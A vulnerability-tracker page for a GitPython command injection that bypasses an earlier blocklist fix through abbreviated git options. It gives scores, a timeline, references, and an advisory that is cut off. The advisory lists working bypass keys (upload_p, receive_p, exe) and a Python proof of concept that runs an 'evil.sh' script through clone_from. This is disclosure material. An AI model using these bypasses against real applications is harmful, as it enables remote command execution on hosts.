CVE-2026-67325: GitPython · Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist
Affects shallow-backupSource GCVE Database
Mentioned vulnerabilities
Not known to be exploited · CVSS 8.7 High : upgrade to 6.6_3 soon.
Data as of 26 Oct 2026, 17:16 UTC
- EPSS
- 2.2% chance of exploitation in 30 days – higher than 82% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 6.6_3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NExploitation evidence
t = 0 is the CVE’s publication on cve.org
Disclosed: evidence found.
CVE published 1 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
Timeline
CVE ID reserved
by VulnCheck
, 3 days before disclosure
CVE published
on cve.org
, t = 0
CISA SSVC assessment
proof of concept public
, 4 days after disclosure
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade shallow-backup to 6.6_3.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
Homebrewshallow-backuppkg:brew/shallow-backupOther threats | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ### The asymmetry (root cause) ```python # git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") # fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) # attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The dire
References
- github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-67325 (opens in a new tab)
- github.com/gitpython-developers/GitPython/pull/2161 (opens in a new tab)
- github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285 (opens in a new tab)
- github.com/gitpython-developers/GitPython (opens in a new tab)
- github.com/gitpython-developers/GitPython/releases/tag/3.1.51 (opens in a new tab)
- vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation (opens in a new tab)